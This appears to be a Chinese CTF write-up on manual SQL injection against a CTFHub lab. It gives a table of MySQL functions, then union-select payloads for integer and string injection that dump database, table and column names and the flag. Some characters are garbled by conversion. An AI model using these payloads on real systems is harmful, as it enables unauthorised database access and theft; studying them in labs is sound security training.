天天看點

sql注入1之手工注入

常見sql注入解題思路(題目來源ctfhub)

關鍵字/語句/函數 解釋
union select 聯合查詢,聯合注入常用
database() 回顯目前連接配接的資料庫
version() 檢視目前sql的版本如:mysql 1.2.3,mariadb-4.5.6
group_concat() 把産生的同一分組中的值用,連接配接,形成一個字元串
information_schema 存了很多mysql資訊的資料庫
information_schema.schemata information_schema庫的一個表,名為schemata
schema_name schemata表中存儲mysql所有資料庫名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每個表對應的資料庫名的字段
table_name 表的名字和table_schema一一對應
information_schema.columns columns表存了所有的列的資訊4
column_name 當你知道一個表的名字時,可通過次字段獲得表中的所有字段名(列名)
table_name 表的名字和column_name一一對應
select updatexml(1,concat(0x7e,database(),0x7e),1); 這裡注意,隻在databse()處改你想要的内容即可報錯回顯
right(str, num) 字元串從右開始截取num個字元
left(str,num) 同理:字元串從左開始截取num個字元
substr(str,N,M) 字元串,從第N個字元開始,截取M個字元

1整數型注入

首先,爆庫名

4 union select 3,database()

接着,爆所有資料庫名

4 union select 3,group_concat(schema_name) from information_schema.schemata

然後,爆表名

4 union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”

随後,爆字段

4 union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”

最後,檢視内容

4 union select 3,group_concat(flag) from sqli.flag

2字元型注入

字元型注入參數需要單引号來閉合,整數型不需要。這裡如果接着想在後面輸入語句的話,就要手動給參數加上單引号,然後将他加上的單引号注釋掉。

爆庫名

123’ union select database(),2 #

爆表名

123’ union select group_concat(table_name),3 from information_schema.tables where table_schema=‘sqli’ #

爆列名

123’ union select group_concat(column_name) ,3 from information_schema.columns where table_name=‘flag’ #

得到flag

123’ union select flag,3 from sqli.flag #

總結:由上一道sql注入的經驗得知首先需要手動周遊一遍資料庫,得知資料庫到底有幾列,然後再開始爆庫,表,字段。

sql